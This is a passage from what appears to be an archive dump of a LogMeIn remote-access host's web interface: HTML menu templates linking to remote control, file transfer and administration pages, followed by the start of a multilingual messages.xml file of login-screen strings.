<?if ACTIONS has "-cfglicense-"?>
<?if BRAND.LOGMEIN?>
<?usemacro INDENTE()?><a href="cfglicense.html?%RND%&step=usews">&MSG.CONFIG.LICENSE.TITLE&</a><br>
<?else?>
<?usemacro INDENTE()?><a href="cfglicense.html?%RND%">&MSG.CONFIG.LICENSE.TITLE&</a><br>
<?endif?>
<?endif?>
<?if ACTIONS has "-cfgremctrl-"   ?><?usemacro INDENTE()?><a href="cfgremctrl.html?%RND%">&MSG.CONFIG.REMCTRL.TITLE&</a><br><?endif?>
<?if ACTIONS has "-cfgtelnet-"    ?><?usemacro INDENTE()?><a href="cfgtelnet.html?%RND%">&MSG.CONFIG.TELNET.TITLE&</a><br><?endif?>
<?if ACTIONS has "-cfgssh-"       ?><?usemacro INDENTE()?><a href="cfgssh.html?%RND%">&MSG.CONFIG.SSH.TITLE&</a><br><?endif?>
<?if ACTIONS has "-ralist-"       ?><?usemacro INDENTE()?><a href="netmaint.html?%RND%">&MSG.CONFIG.NETMAINT.TITLE&</a><br><?endif?>
<?if ACTIONS has "-cfgadvanced-"  ?><?usemacro INDENTE()?><a href="cfgadvanced.html?%RND%">&MSG.CONFIG.ADVANCED.TITLE&</a><br><?endif?>
<?else?>
<a href="&TEMPLATE&?open=prefer&%RND%" target="_self"><img src="img/menu_Tplus.gif" align="absmiddle" border="0"><img src="img/menu_pref.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.PREFER&</a><br>
<?endif?>
<?endif?>

<?if ACTIONS has "-cfgappearance-" or CFG.CustomPages.Directory?>
<img src="img/menu_T.gif" align="absmiddle"><a href="custom.html"><img src="img/menu_custom.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.CONFIG.CUSTPAGES.TITLE&</a><br>
<?endif?>
<img src="img/menu_L.gif" align="absmiddle"><a href="default.html?logout=yes" target="_top" onclick="return confirm('$MSG.LOGOUT.QUESTION$');"><img src="img/ico_evt_stop.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0" width="18" height="18">&nbsp;&MSG.MENU.LMI.DISCONNECT&</a><br>
<iframe src="title.html" name="title" id="title" height="50" width="191" scrolling="no" frameborder="0" allowtransparency="true"></iframe>
<?include "menufoot.html"?>
</body>
</html>
:Ϻmenulogo.html<?ratmpl?>
<?if not LORES?>
<?
// set default background color
if not LOGOBG
if REQ.LOGOBG
set LOGOBG = REQ.LOGOBG
else
set LOGOBG=COLOR.MenuBack
endif
endif
?>

<html>
<body bgcolor="&LOGOBG&">
<?if CFG.Appearance.MenuLogo = "1"?>
<div style="position:absolute; bottom: 0px; left: 0px; margin: 0px; padding: 0px; width: 190px;">
<img src="/menulogo.jpg?&RND&" border="0" style="width: 100%">
</div>
<?endif?>
</body>
</html>
<?endif?>
menuPDA.htmlza<?ratmpl?>
<?nocache?>
<?
// go to login page if not logged in
if not USERNAME
redirect "/default.html"
endif

include "macros.html"

include "setui.html"

// set activex cabinet location
set session ACTIVEX.CAB = "activex/RACtrlCE.cab"

// load from website if not included in templates
if not exists ACTIVEX.CAB
set session ACTIVEX.CAB = DL.COM "/" ACTIVEX.CAB
endif

// set activex cabinet version
set session ACTIVEX.VERSION = "1.0.0.366"

// get list of available actions
action "actions"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body style="background-color:&COLOR.DlgBack&;font:icon">
<center><?include "logo.html"?>
<br>
<b>&SRVNAME&</b></center>
<br>
<div align=center>
<table align=center><tr><td>
<?if not BRAND.LOGMEIN.FREE?><img src="img/menu_home.png?bg=%COLOR.MenuBack%" align=absmiddle>&nbsp;<a href="PDA_info.html?%RND%">&MSG.MENU.HOME&</a><br><?endif?>
<?if ACTIONS has "-remctrl-"  and ACTIONS has "-activex-" and HTTP.USERAGENT.WINCE = "yes"?><img src="img/menu_remote.png?bg=%COLOR.MenuBack%" align=absmiddle>&nbsp;<a href="remctrlpda.html?%RND%">&MSG.REMCTRL.TITLE&</a><br><?endif?>
<?if ACTIONS has "-filelist-" and not BRAND.LOGMEIN.FREE?><img src="img/menu_filetransfer.png?bg=%COLOR.MenuBack%" align=absmiddle>&nbsp;<a href="PDA_drivesPDA.html?%RND%">&MSG.FILEXFER.TITLE&</a><br><?endif?>
<?if ACTIONS has "-procinfo-" and not BRAND.LOGMEIN.FREE?><img src="img/menu_manage.png?bg=%COLOR.MenuBack%" align=absmiddle>&nbsp;<a href="PDA_proclist.html?cnt=10&%RND%">&MSG.ADMIN.PROCESS.TITLE&</a><br><?endif?>
<?if ACTIONS has "-svcinfo-"  and not BRAND.LOGMEIN.FREE?><img src="img/menu_manage.png?bg=%COLOR.MenuBack%" align=absmiddle>&nbsp;<a href="PDA_svclist.html?cnt=10&what=svc&%RND%">&MSG.ADMIN.SERVICE.TITLE&</a><br><?endif?>
<?if ACTIONS has "-svcinfo-"  and not BRAND.LOGMEIN.FREE?><img src="img/menu_manage.png?bg=%COLOR.MenuBack%" align=absmiddle>&nbsp;<a href="PDA_svclist.html?cnt=10&what=drv&%RND%">&MSG.ADMIN.SERVICE.DRVTITLE&</a><br><?endif?>
<?if ACTIONS has "-evtinfo-"  and not BRAND.LOGMEIN.FREE?><img src="img/menu_manage.png?bg=%COLOR.MenuBack%" align=absmiddle>&nbsp;<a href="PDA_evtlogs.html">&MSG.ADMIN.EVENTS.TITLE&</a><br><?endif?>
<?if ACTIONS has "-userlist-" and not BRAND.LOGMEIN.FREE?><img src="img/menu_manage.png?bg=%COLOR.MenuBack%" align=absmiddle>&nbsp;<a href="PDA_userlist.html?what=users&cnt=9999&%RND%">&MSG.ADMIN.USERMANAGER.TITLE&</a><br><?endif?>
<?if ACTIONS has "-reginfo-"  and not BRAND.LOGMEIN.FREE?><img src="img/menu_manage.png?bg=%COLOR.MenuBack%" align=absmiddle>&nbsp;<a href="PDA_reglistlight.html?%RND%">&MSG.ADMIN.REGISTRY.TITLE&</a><br><?endif?>
<?if ACTIONS has "-restart-"  and not BRAND.LOGMEIN.FREE?><img src="img/menu_manage.png?bg=%COLOR.MenuBack%" align=absmiddle>&nbsp;<a href="PDA_restart.html?%RND%">&MSG.ADMIN.REBOOT.TITLE&</a><br><?endif?>
<?if ACTIONS has "-perfmon-"  and not BRAND.LOGMEIN.FREE?><img src="img/menu_perf.png?bg=%COLOR.MenuBack%"   align=absmiddle>&nbsp;<a href="PDA_perfmon.html?type=cpu&%RND%">&MSG.PERF.TYPE.CPU&</a><br><?endif?>
<?if ACTIONS has "-perfmon-"  and not BRAND.LOGMEIN.FREE?><img src="img/menu_perf.png?bg=%COLOR.MenuBack%"   align=absmiddle>&nbsp;<a href="PDA_perfmon.html?type=mem&%RND%">&MSG.PERF.TYPE.MEM&</a><br><?endif?>
<?if ACTIONS has "-ralist-"   and not BRAND.LOGMEIN.FREE?><img src="img/menu_pref.png?bg=%COLOR.MenuBack%"   align=absmiddle>&nbsp;<a href="PDA_netmaint.html?type=mem&%RND%">&MSG.CONFIG.NETMAINT.TITLE&</a><br><?endif?>
<?if BRAND.LOGMEIN?>
<img src="img/menu_lmi.png?bg=%COLOR.MenuBack%" align=absmiddle>
<?else?>
<img src="img/menu_ra.png?bg=%COLOR.MenuBack%" align=absmiddle>
<?endif?>
&nbsp;<a href="default.html?logout=yes" target="_parent" onclick="return confirm('$MSG.LOGOUT.QUESTION$')">&MSG.LOGOUT.TITLE&</a><br>
</td></tr></table></div>
<br>
<center><?&MSG.INFO.LICENSE.STATEMENT?></center>
</body>
</html>
E6menuSR.htmlc<?ratmpl?>
<?nocache?>
<?
// go to login page if not logged in
if not USERNAME
redirect "/default.html"
endif

include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "chkobject.inc"?>
<base target="body">
</head>

<body class="menu" onload="chkObject('rapvobj2', false);">
<center>
<a href="sr/secrem.html"><?include "logo.html"?></a><br><br><br>
&MSG.SECREM.CONNECTED&<br><br>
<br>

<?if ACTIONS has "-remctrl-"?>
<a href="remctrl.html?%RND%"><img src="img/sr_remote.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0"><br>&MSG.REMCTRL.TITLE&</a>
<br><br>
<?endif?>

<?if ACTIONS has "-filexfer-"?>
<a href="filexfer.html?%RND%"><img src="img/sr_filetransfer.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0"><br>&MSG.FILEXFER.TITLE&</a>
<br><br>
<?endif?>

<?if ACTIONS has "-restart-"?>
<a href="restart.html?%RND%"><img src="img/ico_reboot3.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0"><br>&MSG.ADMIN.REBOOT.TITLE&</a>
<br><br>
<?endif?>

<a href="sr/infoSR.html?%RND%"><img src="img/sr_home.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0"><br>&MSG.MENU.SRINFO&</a>
<br><br>

<?if DISPLAYSEC?>
<a href="sr/security.html"><img src="img/sr_secure.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0"><br>&MSG.MENU.SECURITY&</a>
<br><br>
<?endif?>

<?if DISPLAYPREFS?>
<a href="sr/pref.html?%RND%"><img src="img/sr_pref.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0"><br>&MSG.MENU.PREFER&</a>
<br><br>
<?endif?>

<a href="sr/aboutSR.html"><img src="img/sr_ra.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0"><br>&MSG.INFO.ABOUT.TITLE&</a>
<br><br>

<br>
<a style="border: 1px solid black; background-color: #cd3f38; color: white;" href="default.html?logout=yes" target="_parent" onclick="return confirm('$MSG.LOGOUT.QUESTION$')">&nbsp;&MSG.LOGOUT.TITLE&&nbsp;</a><br>
<br><br>

<?set BG=COLOR.MenuBack?><?include "watchdog.html"?>

</center>
</body>
</html>
y1messages.xml8id<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE msgs[
<!ELEMENT msgs (cat*|msg*)*>
<!ELEMENT msg (en?|en-gb?|de?|it?|fr?|ru?|ja?|zh?|es?|ko?|hu?|pt-br?|nl?)*>
<!ATTLIST msg name CDATA #REQUIRED>
<!ATTLIST msg brand (RA|LMI|DA) #IMPLIED>
<!ATTLIST msg os (win|macosx) #IMPLIED>
<!ELEMENT cat (cat*|msg+)*>
<!ATTLIST cat name CDATA #REQUIRED>
<!-- declarations for languages -->
<!ELEMENT en (#PCDATA)>
<!ELEMENT en-gb (#PCDATA)>
<!ELEMENT it (#PCDATA)>
<!ELEMENT de (#PCDATA)>
<!ELEMENT es (#PCDATA)>
<!ELEMENT fr (#PCDATA)>
<!ELEMENT ru (#PCDATA)>
<!ELEMENT ja (#PCDATA)>
<!ELEMENT zh (#PCDATA)>
<!ELEMENT ko (#PCDATA)>
<!ELEMENT hu (#PCDATA)>
<!ELEMENT pt-br (#PCDATA)>
<!ELEMENT nl (#PCDATA)>
]>
<msgs>
<!-- login screen messages -->
<cat name="LOGIN">
<msg name="TITLE">
<en>Welcome to %PRODUCTNAME</en>
<de>Willkommen in %PRODUCTNAME</de>
<es>Bienvenido a %PRODUCTNAME</es>
<fr>Merci d'utiliser %PRODUCTNAME</fr>
<it>Benvenuto in %PRODUCTNAME</it>
<ru>Вас приветствует программа %PRODUCTNAME</ru>
<ja>%PRODUCTNAME へようこそ</ja>
<zh>欢迎使用 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME 시작</ko>
<en-gb>Welcome to %PRODUCTNAME</en-gb>
<hu>Üdvözli Önt a %PRODUCTNAME</hu>
<pt-br>Bem-vindo ao %PRODUCTNAME</pt-br>
<nl>Welkom bij %PRODUCTNAME</nl>
</msg>
<msg name="WELCOME">
<en>Welcome</en>
<de>Willkommen</de>
<es>Bienvenido</es>
<fr>Bienvenue</fr>
<it>Benvenuto</it>
<ru>Добро пожаловать</ru>
<ja>ようこそ</ja>
<zh>欢迎</zh>
<ko>시작</ko>
<en-gb>Welcome</en-gb>
<hu>Üdvözöljük</hu>
<pt-br>Bem-vindo</pt-br>
<nl>Welkom</nl>
</msg>
<msg name="USER">
<en>User name</en>
<de>Benutzername</de>
<es>Nombre de usuario</es>
<fr>Nom d'utilisateur</fr>
<it>Nome utente</it>
<ru>Имя пользователя</ru>
<ja>ユーザ名</ja>
<zh>用户名</zh>
<ko>사용자 이름</ko>
<en-gb>Username</en-gb>
<hu>Felhasználói név</hu>
<pt-br>Nome do usuário</pt-br>
<nl>Gebruikersnaam</nl>
</msg>
<msg name="USER.EMPTY">
<en>Please specify your user name.</en>
<de>Geben Sie bitte Ihren Benutzernamen an.</de>
<es>Especifique su nombre de usuario.</es>
<fr>Merci d'indiquer votre nom d'utilisateur</fr>
<it>Specificare il nome utente.</it>
<ru>Укажите имя пользователя.</ru>
<ja>ユーザ名を指定してください。</ja>
<zh>请指定您的用户名。</zh>
<ko>사용자 이름을 지정하십시오.</ko>
<en-gb>Please specify your username.</en-gb>
<hu>Kérem, adja meg a felhasználói nevét</hu>
<pt-br>Especifique seu nome de usuário.</pt-br>
<nl>Geef uw gebruikersnaam op.</nl>
</msg>
<msg name="PASS">
<en>Password</en>
<de>Kennwort</de>
<es>Contraseña</es>
<fr>Mot de passe</fr>
<it>Password</it>
<ru>Пароль</ru>
<ja>パスワード</ja>
<zh>密码</zh>
<ko>암호</ko>
<en-gb>Password</en-gb>
<hu>Jelszó</hu>
<pt-br>Senha</pt-br>
<nl>Wachtwoord</nl>
</msg>
<msg name="PWDONLY">
<en>Computer Access Code</en>
<de>Computer-Zugriffscode</de>
<es>Código de acceso a ordenador</es>
<fr>Code d'accès à l'ordinateur</fr>
<it>Codice di accesso al computer</it>
<ru>Код доступа к компьютеру</ru>
<ja>コンピュータ アクセス コード</ja>
<zh>计算机访问代码</zh>
<ko>컴퓨터 액세스 코드</ko>
<en-gb>Computer Access Code</en-gb>
<hu>Számítógépes hozzáférési kód</hu>
<pt-br>Código de acesso ao computador</pt-br>
<nl>Toegangscode voor computer</nl>
</msg>
<msg name="DOMAIN">
<en>Domain</en>
<de>Domäne</de>
<es>Dominio</es>
<fr>Domaine</fr>
<it>Dominio</it>
<ru>Домен</ru>
<ja>ドメイン</ja>
<zh>域</zh>
<ko>도메인</ko>
<en-gb>Domain</en-gb>
<hu>Tartomány</hu>
<pt-br>Domínio</pt-br>
<nl>Domein</nl>
</msg>
<msg name="LOGONTO">
<en>Log in to</en>
<de>Anmelden auf</de>
<es>Iniciar sesión en</es>
<fr>Ouverture de session à</fr>
<it>Accesso</it>
<ru>Вход в</ru>
<ja>ログイン先</ja>
<zh>登录到</zh>
<ko>로그온</ko>
<en-gb>Log in to</en-gb>
<hu>Bejelentkezés ide:</hu>
<pt-br>Logon em</pt-br>
<nl>Aanmelden bij</nl>
</msg>
<msg name="OTHER">
<en>Other...</en>
<de>Andere...</de>
<es>Otro...</es>
<fr>Autre...</fr>
<it>Altro...</it>
<ru>Другой...</ru>
<ja>その他...</ja>
<zh>其他...</zh>
<ko>기타...</ko>
<en-gb>Other...</en-gb>
<hu>Egyéb:</hu>
<pt-br>Outros...</pt-br>
<nl>Andere...</nl>
</msg>
<msg name="THISCOMPUTER">
<en>(this computer)</en>
<de>(dieser Computer)</de>
<es>(este ordenador)</es>
<fr>(cet ordinateur)</fr>
<it>(questo computer)</it>
<ru>(данный компьютер)</ru>
<ja>(このコンピュータ)</ja>
<zh>(此计算机)</zh>
<ko>(이 컴퓨터)</ko>
<en-gb>(this computer)</en-gb>
<hu>(ez a számítógép)</hu>
<pt-br>(este computador)</pt-br>
<nl>(deze computer)</nl>
</msg>
<msg name="LOADINGOPTIONS">
<en>Loading login options</en>
<es>Cargando opciones de inicio de sesión</es>
<de>Anmeldeoptionen werden geladen</de>
<fr>Chargement des options de connexion</fr>
<it>Caricamento opzioni di accesso</it>
<ru>Загрузка параметров входа в систему</ru>
<ja>ログイン オプションのロード中</ja>
<zh>加载登录选项</zh>
<ko>로그인 옵션 로드 중</ko>
<en-gb>Loading login options</en-gb>
<hu>Bejelentkezési beállítások betöltése</hu>
<pt-br>Carregando opções de login</pt-br>
<nl>Aanmeldingsopties laden</nl>
</msg>
<msg name="SAVELOGIN">
<en>Save credentials</en>
<es>Guardar credenciales</es>
<de>Zugangsdaten speichern</de>
<fr>Enregistrer les identifiants</fr>
<it>Salva credenziali</it>
<ru>Сохранить учетные данные</ru>
<ja>資格情報を保存する</ja>
<zh>保存凭据</zh>
<ko>자격 증명 저장</ko>
<en-gb>Save credentials</en-gb>
<hu>Azonosító adatok mentése</hu>
<pt-br>Salvar credenciais</pt-br>
<nl>Aanmeldingsgegevens opslaan</nl>
</msg>
<msg name="PERFORMAUTOLOGON">
<en>Performing auto logon...</en>
<es>Ejecutando inicio de sesión automático...</es>
<de>Automatische Anmeldung erfolgt ...</de>
<fr>Connexion auto en cours...</fr>
<it>Accesso automatico in corso...</it>
<nl>Automatisch aanmelden wordt uitgevoerd...</nl>
<pt-br>Executando logon automático...</pt-br>
<hu>Automatikus bejelentkezés folyamatban...</hu>
<ru>Выполнение автоматического входа...</ru>
<ja>自動ログオンを実行中...</ja>
<ko>자동 로그온 수행 중...</ko>
<zh>正在自动登录</zh>
</msg>
<msg name="UI">
<en>Interface</en>
<de>Benutzeroberfläche</de>
<es>Interfaz</es>
<fr>Interface</fr>
<it>Interfaccia</it>
<ru>Интерфейс</ru>
<ja>インターフェイス</ja>
<zh>界面</zh>
<ko>인터페이스</ko>
<en-gb>Interface</en-gb>
<hu>Felület</hu>
<pt-br>Interface</pt-br>
<nl>Interface</nl>
</msg>
<msg name="UI.HIGH">
<en>Full interface (for DHTML capable browsers)</en>
<de>Vollständige Benutzeroberfläche (für DHTML fähige Browser)</de>
<es>Interfaz completa (para navegadores compatibles con DHTML)</es>
<fr>Interface complète (pour navigateurs compatibles DHTML)</fr>
<it>Interfaccia completa (per i browser che supportano DHTML)</it>
<ru>Интерфейс типа Full (для обозревателей с поддержкой DHTML)</ru>
<ja>フル インターフェイス (DHTML対応ブラウザの場合)</ja>
<zh>完整界面(适用于支持 DHTML 的浏览器)</zh>
<ko>전체 인터페이스(DHTML 가능 브라우저의 경우)</ko>
<en-gb>Full interface (for DHTML capable browsers)</en-gb>
<hu>Teljes felület (a DHTML-re felkészített böngészőkhöz)</hu>
<pt-br>Interface completa (para navegadores com capacidade DHTML)</pt-br>
<nl>Volledige interface (voor browsers met DHTML-compatibiliteit)</nl>
</msg>
<msg name="UI.LOW">
<en>Light interface (for old browsers or slow connections)</en>
<de>Vereinfachte Benutzeroberfläche (für alte Browser oder langsame Verbindungen)</de>
<es>Interfaz parcial (para navegadores antiguos o conexiones lentas)</es>
<fr>Interface allégée (pour anciens navigateurs ou connexions lentes)</fr>
<it>Interfaccia light (per i browser di vecchia versione o per le connessioni lente)</it>
<ru>Интерфейс типа Light (для старых обозревателей или медленных соединений)</ru>
<ja>ライト インターフェイス (古いブラウザまたは低速接続の場合)</ja>
<zh>简洁界面(适用于早期版本的浏览器或慢速连接)</zh>
<ko>부분 인터페이스(이전 브라우저 또는 연결이 느린 경우)</ko>
<en-gb>Light interface (for old browsers or slow connections)</en-gb>
<hu>Egyszerű felület (régi böngészőkhöz vagy kis sebességű  kapcsolatokhoz)</hu>
<pt-br>Interface leve (para navegadores antigos ou conexões lentas)</pt-br>
<nl>Beperkte interface (voor oude browsers of trage verbindingen)</nl>
</msg>
<msg name="NTLMSET">
<en>NTLM</en>
<de>NTLM</de>
<es>NTLM</es>
<fr>NTLM</fr>
<it>NTLM</it>
<ru>NTLM</ru>
<ja>NTLM</ja>
<zh>NTLM</zh>
<ko>NTLM</ko>
<en-gb>NTLM</en-gb>
<hu>NTLM</hu>
<pt-br>NTLM</pt-br>
<nl>NTLM</nl>
</msg>
<msg name="NTLM">
<en>NTLM authentication uses your current Windows login credentials to verify your identity on the host computer</en>
<de>NTLM Authentifizierung benutzt Ihren gegenwärtigen Windows Anmeldedaten, um Ihre Identität auf dem Host-Computer zu überprüfen</de>
<es>La autenticación NTLM utiliza las credenciales de registro actuales de Windows para verificar su identidad en el ordenador principal</es>
<fr>L'authentification NTLM utilise votre identifiant Windows actuel pour vous identifier sur l'ordinateur distant</fr>
<it>L'autenticazione NTLM utilizza le credenziali di accesso correnti di Windows per verificare l'identità dell'utente sul computer host</it>
<ru>При проверке подлинности NTLM текущие учетные данные Windows используются для проверки личности пользователя на хост-компьютере.</ru>
<ja>NTLM 認証は、Windows の現在のログイン資格情報を使用して、ホスト コンピュータのユーザの身元を確認します</ja>
<zh>NTLM 验证使用您当前的 Windows 登录证书来验证您针对主机的身份标识</zh>
<ko>NTLM 인증은 사용자의 현재 Windows 로그인 자격 증명을 사용하여 호스트 컴퓨터에서 사용자의 신원을 확인합니다.</ko>
<en-gb>NTLM authentication uses your current Windows login credentials to verify your identity on the host computer</en-gb>
<hu>Az NTLM hitelesítés az Ön aktuális Windows bejelentkezési hitelesítő adatai segítségével ellenőrzi az Ön személyazonosságát a gazdagépen</hu>
<pt-br>A autenticação NTLM usa suas credenciais de logon no Windows atuais para verificar sua identidade no computador host.</pt-br>
<nl>Bij de NTLM-verificatie worden uw huidige gegevens voor de Windows-aanmelding gebruikt om uw identiteit op de hostcomputer te verifiëren</nl>
</msg>
<msg os="macosx" name="NTLM">
<en>%PRODUCTNAME can try to use your current Mac login credentials to verify your identity on the host computer</en>
<de>NTLM Authentifizierung benutzt Ihren gegenwärtigen Mac Anmeldedaten, um Ihre Identität auf dem Host-Computer zu überprüfen</de>
<es>La autenticación NTLM utiliza las credenciales de registro actuales de Mac para verificar su identidad en el ordenador principal</es>
<fr>L'authentification NTLM utilise votre identifiant Mac actuel pour vous identifier sur l'ordinateur distant</fr>
<it>L'autenticazione NTLM utilizza le credenziali di accesso correnti di Mac per verificare l'identità dell'utente sul computer host</it>
<ru>При проверке подлинности NTLM текущие учетные данные Mac используются для проверки личности пользователя на хост-компьютере.</ru>
<ja>NTLM 認証は、Mac の現在のログイン資格情報を使用して、ホスト コンピュータのユーザの身元を確認します</ja>
<zh>NTLM 验证使用您当前的 Mac 登录证书来验证您针对主机的身份标识</zh>
<ko>NTLM 인증은 사용자의 현재 Mac 로그인 자격 증명을 사용하여 호스트 컴퓨터에서 사용자의 신원을 확인합니다.</ko>
<en-gb>NTLM authentication uses your current Mac login credentials to verify your identity on the host computer</en-gb>
<hu>Az NTLM hitelesítés az Ön aktuális Mac bejelentkezési hitelesítő adatai segítségével ellenőrzi az Ön személyazonosságát a gazdagépen</hu>
<pt-br>A autenticação NTLM usa suas credenciais de logon no Mac atuais para verificar sua identidade no computador host.</pt-br>
<nl>Bij de NTLM-verificatie worden uw huidige gegevens voor de Mac-aanmelding gebruikt om uw identiteit op de hostcomputer te verifiëren</nl>
</msg>
<msg name="SUBMIT">
<en>Login</en>
<de>Anmelden</de>
<ja>ログイン</ja>
<es>Registro</es>
<fr>Connexion</fr>
<it>Accedi</it>
<ru>Вход</ru>
<zh>登录</zh>
<ko>로그인</ko>
<en-gb>Login</en-gb>
<hu>Belépés</hu>
<pt-br>Login</pt-br>
<nl>Aanmelden</nl>
</msg>
<msg name="CHAT">
<en>Chat</en>
<de>Dialog</de>
<es>Conversación</es>
<fr>Assistance par chat</fr>
<it>Chat</it>
<ru>Чат</ru>
<ja>チャット</ja>
<zh>聊天</zh>
<ko>대화</ko>
<en-gb>Chat</en-gb>
<hu>Csevegés</hu>
<pt-br>Bate-papo</pt-br>
<nl>Chat</nl>
</msg>
<msg name="PWDONLYHINTLINK">
<en>How can I reset it?</en>
<de>Wie kann ich ihn zurücksetzen?</de>
<es>¿Cómo puedo restablecerlo?</es>
<fr>Comment le réinitialiser ?</fr>
<it>Come posso reimpostarlo?</it>
<nl>Hoe kan ik de code opnieuw instellen?</nl>
<pt-br>Como posso redefini-lo?</pt-br>
<hu>Hogyan állíthatom vissza alaphelyzetbe?</hu>
<ru>Как его сбросить?</ru>
<ko>어떻게 리셋합니까?</ko>
<ja>リセットするには</ja>
<zh>如何重置计算机访问代码?</zh>
</msg>
<msg name="HELPLINK">
<en>How can I find my user name?</en>
<de>Wie finde ich meinen Benutzernamen?</de>
<es>¿Cómo puedo saber mi nombre de usuario?</es>
<fr>Comment trouver mon nom d’utilisateur ?</fr>
<it>Come posso trovare il mio nome utente?</it>
<nl>Hoe vind ik mijn gebruikersnaam?</nl>
<pt-br>Como posso encontrar meu nome de usuário?</pt-br>
<hu>Hogyan találhatom meg a felhasználónevem?</hu>
<ru>Как найти мое имя пользователя?</ru>
<ko>어떻게 내 사용자 이름을 찾을 수 있습니까?</ko>
<ja>ユーザー名を見つけるには</ja>
<zh>如何查看我的用户名?</zh>
</msg>
<msg name="PWDONLYHELPLINK">
<en>What is a Computer Access Code?</en>
<de>Was ist ein Computerzugriffscode?</de>
<es>¿Qué es un código de acceso al ordenador?</es>
<fr>Qu'est-ce qu'un code d'accès à l'ordinateur ?</fr>
<it>Cos’è il codice di accesso al computer?</it>
<nl>Wat is een computertoegangscode?</nl>
<pt-br>O que é um código de acesso ao computador?</pt-br>
<hu>Mit jelent a számítógépes hozzáférési kód?</hu>
<ru>Что такое код доступа к компьютеру?</ru>
<ko>컴퓨터 액세스 코드가 무엇입니까?</ko>
<ja>コンピュータ アクセス コードとは</ja>
<zh>计算机访问代码是什么?</zh>
</msg>
<msg name="PPWDHELPLINK">
<en>What's a Personal Password?</en>
<de>Was ist ein persönliches Kennwort?</de>
<es>¿Qué es una contraseña personal?</es>
<fr>Qu'est-ce qu'un mot de passe personnel ?</fr>
<it>Cos’è la password personale?</it>
<nl>Wat is een persoonlijk wachtwoord?</nl>
<pt-br>O que é uma senha pessoal?</pt-br>
<hu>Mit jelent a személyes jelszó?</hu>
<ru>Что такое персональный пароль?</ru>
<ko>개인 암호가 무엇입니까?</ko>
<ja>個人用パスワードとは</ja>
<zh>个人密码是什么?</zh>
</msg>
<msg name="4320HELPLINK">
<en>Here's how</en>
<de>So funktioniert es</de>
<es>Le explicamos cómo hacerlo</es>
<fr>Voici la marche à suivre :</fr>
<it>Ecco come fare</it>
<nl>Dit doet u als volgt:</nl>
<pt-br>Veja como</pt-br>
<hu>Útmutató</hu>
<ru>Инструкции</ru>
<ko>방법 보기</ko>
<ja>手順はこちら</ja>
<zh>操作方式</zh>
</msg>
<msg name="USERBUSY">
<en>The host computer keyboard and mouse are currently active.</en>
<fr>Le clavier et la souris de l'ordinateur cible sont actuellement actifs.</fr>
<es>El teclado y el ratón del ordenador host están activados</es>
<de>Tastatur und Maus des Hostcomputers sind momentan aktiv.</de>
<it>La tastiera e il mouse del computer host sono attualmente attivi.</it>
<nl>Het toetsenbord en de muis van de host-computer worden op dit ogenblik gebruikt.</nl>
<pt-br>O teclado e o mouse do computador de destino estão atualmente ativos.</pt-br>
<zh>主机计算机的键盘和鼠标当前已激活。</zh>
<ru>Клавиатура и мышь хост-компьютера в настоящий момент активны.</ru>
<ja>ホスト コンピュータのキーボードとマウスは現在使用されています。</ja>
<ko>대상 컴퓨터 키보드 및 마우스가 현재 활성 상태입니다.</ko>
<hu>A gazdaszámítógéphez csatlakoztatott egér és billentyűzet használatban van.</hu>
</msg>
<msg name="USERAWAY">
<en>The host computer keyboard and mouse have been inactive for </en>
<fr>Le clavier et la souris de l'ordinateur cible ont été inactifs pendant</fr>
<es>El teclado y el ratón del ordenador host se han desactivado para</es>
<de>Tastatur und Maus des Hostcomputers sind inaktiv seit</de>
<it>La tastiera e il mouse del computer host sono stati inattivi per</it>
<nl>Het toetsenbord en de muis van de host-computer werden niet gebruikt gedurende</nl>
<pt-br>O teclado e o mouse do computador de destino ficaram inativos por</pt-br>
<zh>主机计算机的键盘和鼠标已停止活动秒数:</zh>
<ru>Клавиатура и мышь хост-компьютера были неактивны в течение </ru>
<ja>ホスト コンピュータのキーボードとマウスは次の期間停止状態です。</ja>
<ko>대상 컴퓨터 키보드 및 마우스가 비활성화되었습니다.</ko>
<hu>A gazdaszámítógéphez csatlakoztatott egér és billentyűzet ennyi ideje használaton kívül van:</hu>
</msg>
<msg name="USERNOTLOGGEDIN">
<en>There is no user at the target PC.</en>
<fr>Il n'y a aucun utilisateur à l'ordinateur cible.</fr>
<es>No hay usuario en el ordenador de destino.</es>
<de>Am Zielcomputer ist kein Benutzer angemeldet.</de>
<it>Non è presente alcun utente presso il computer di destinazione.</it>
<nl>Op dit ogenblik werkt er geen gebruiker met de host-computer.</nl>
<pt-br>Não há usuário no computador de destino.</pt-br>
<zh>目标计算机上没有任何用户。</zh>
<ru>На целевом компьютере нет пользователей.</ru>
<ja>ターゲット コンピュータのユーザはいません。</ja>
<ko>대상 컴퓨터에 사용자가 없습니다.</ko>
<hu>Nincs felhasználó a célszámítógépnél.</hu>
</msg>
<msg name="INITIATECHAT">
<en>Initiate Chat with User after login.</en>
<de>Starten Sie nach der Anmeldung den Dialog mit dem Benutzer.</de>
<es>Iniciar una conversación con el usuario después de identificarse.</es>
<fr>Commencer une session de messagerie instantanée après la connexion.</fr>
<it>Avviare la chat con l'utente dopo l'accesso.</it>
<ru>После входа в систему запустить чат с пользователем.</ru>
<ja>ログイン後にユーザとチャットを開始する。</ja>
<ko>로그인 후 사용자와 대화를 시작합니다.</ko>
<hu>Beszélgetés kezdeményezése a Felhasználóval bejelentkezés után.</hu>
<pt-br>Inicie o Bate-papo com o usuário após o login.</pt-br>
<zh>登录后启动“与用户聊天”。</zh>
<nl>Chatsessie met gebruiker starten na aanmelden.</nl>
</msg>
<msg name="MORE">
<en>More</en>
<de>Mehr</de>
<ja>詳細</ja>
<es>Más</es>
<fr>Plus</fr>
<it>Altro</it>
<ru>Больше</ru>
<zh>更多</zh>
<ko>보다 큼</ko>
<en-gb>More</en-gb>
<hu>Több</hu>
<pt-br>Mais</pt-br>
